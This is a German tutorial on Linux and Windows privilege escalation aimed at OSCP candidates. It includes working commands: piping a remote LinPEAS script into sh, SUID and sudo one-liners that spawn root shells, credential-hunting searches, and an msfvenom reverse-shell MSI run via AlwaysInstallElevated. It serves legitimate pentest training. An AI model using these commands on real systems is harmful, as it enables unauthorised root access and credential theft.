Privilege Escalation erklärt: Linux und Windows Rechteausweitung 2026

Nach dem initialen Zugriff auf ein System folgt in jedem Penetrationstest die Privilege Escalation — die Rechteausweitung von einem niedrig-privilegierten auf einen hoch-privilegierten Account. Erst als root (Linux) oder SYSTEM/Administrator (Windows) haben Sie vollständige Kontrolle und können die volle Auswirkung einer Kompromittierung demonstrieren.

Privilege Escalation ist ein Kernthema des OSCP und aller praktischen Pentesting-Zertifizierungen.

Linux Privilege Escalation

Enumeration: Der erste Schritt

Vor jeder Exploitation kommt gründliche Enumeration. Manuell oder automatisiert:

Manuelle Checks:

id                          # Aktuelle User-ID und Gruppen
sudo -l                     # Welche Befehle dürfen ohne Passwort ausgeführt werden?
find / -perm -4000 2>/dev/null  # SUID-Dateien finden
cat /etc/crontab            # Cron-Jobs prüfen
ls -la /etc/passwd /etc/shadow  # Schreibrechte auf kritische Dateien?
uname -a                    # Kernel-Version für Kernel-Exploits

Automatisiert mit LinPEAS:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinPEAS durchsucht das System nach Hunderten bekannter Fehlkonfigurationen und gibt farbcodierte Ergebnisse aus (rot = hohes Risiko).

Häufige Linux-PrivEsc-Techniken

SUID-Missbrauch: Dateien mit dem SUID-Bit laufen als Eigentümer (oft root) statt als aufrufender User. GTFOBins (gtfobins.github.io) dokumentiert, welche SUID-Binaries missbrauchbar sind.

# Beispiel: find mit SUID
find / -exec /bin/sh -p \; -quit
# Ergebnis: root-Shell

Sudo-Fehlkonfigurationen:

sudo -l
# Zeigt: (root) NOPASSWD: /usr/bin/python3
python3 -c 'import os; os.system("/bin/bash")'
# Root-Shell ohne Passwort

Schwache Cron-Job-Berechtigungen: Scripts, die als root im Cron laufen und für andere User schreibbar sind, können zur Code-Ausführung als root genutzt werden.

Kernel-Exploits: Veraltete Kernel haben bekannte Exploits (DirtyCow, OverlayFS). Nur verwenden, wenn keine andere Methode verfügbar — Kernel-Exploits können Systeme instabilisieren.

Passwörter und Credentials:

find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -l "password" 2>/dev/null
history                     # Bash-History nach Passwörtern
env                         # Umgebungsvariablen

Windows Privilege Escalation

Enumeration mit WinPEAS

# Herunterladen und ausführen
.\winPEASany.exe

WinPEAS prüft: Unquoted Service Paths, schwache Registry-Berechtigungen, AlwaysInstallElevated, Token-Impersonation-Möglichkeiten, gespeicherte Credentials.

Manuelle Checks:

whoami /priv              # Aktuell gehaltene Privilegien
net localgroup administrators  # Administratorgruppe
wmic service list brief   # Dienste und ihre Ausführungspfade
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Häufige Windows-PrivEsc-Techniken

Unquoted Service Paths: Dienste mit Leerzeichen im Pfad ohne Anführungszeichen sind verwundbar:

C:\Program Files\Vulnerable Service\service.exe

Windows sucht nacheinander: C:\Program.exe, C:\Program Files\Vulnerable.exe — wenn Sie C:\Program.exe erstellen können, wird diese als SYSTEM ausgeführt.

Token-Impersonation (Hot Potato, PrintSpoofer, JuicyPotato): Mit bestimmten Privilegien (SeImpersonatePrivilege) können Token höherprivilegierter Prozesse erbeutet werden. Besonders häufig in Web-Anwendungs-Szenarien.

AlwaysInstallElevated: Wenn aktiviert, können MSI-Dateien als SYSTEM installiert werden — auch ohne Adminrechte.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=X LPORT=4444 -f msi > shell.msi
msiexec /quiet /qn /i shell.msi

Passwort-Mining:

# Gespeicherte Windows-Credentials
cmdkey /list
# Konfigurationsdateien
dir /s /b *pass* *cred* *vnc* *.config

Tools-Übersicht

Tool	Plattform	Zweck
LinPEAS	Linux	Automatisierte PrivEsc-Enumeration
WinPEAS	Windows	Automatisierte PrivEsc-Enumeration
GTFOBins	Linux	SUID/Sudo-Exploitation-Referenz
PayloadsAllTheThings	Beide	Umfassende Technik-Sammlung
Seatbelt	Windows	Sicherheitscheck-Enumeration
PowerUp	Windows	PowerShell PrivEsc-Checks
linux-exploit-suggester	Linux	Kernel-Exploit-Vorschläge

Für OSCP und Pentesting

Privilege Escalation macht etwa 40% des OSCP-Prüfungsaufwands aus. Üben Sie:

1. Jeden TryHackMe Linux PrivEsc Room abschließen
2. Jeden TryHackMe Windows PrivEsc Room abschließen
3. Alle GTFOBins-Techniken verstehen
4. Mindestens 10 HTB Easy/Medium-Maschinen von Grund auf root bekommen

Die Pentevo Academy ergänzt diese Praxis mit theoretischem CEH-Fundament zu Zugriffskontrolle und Privilegien-Management.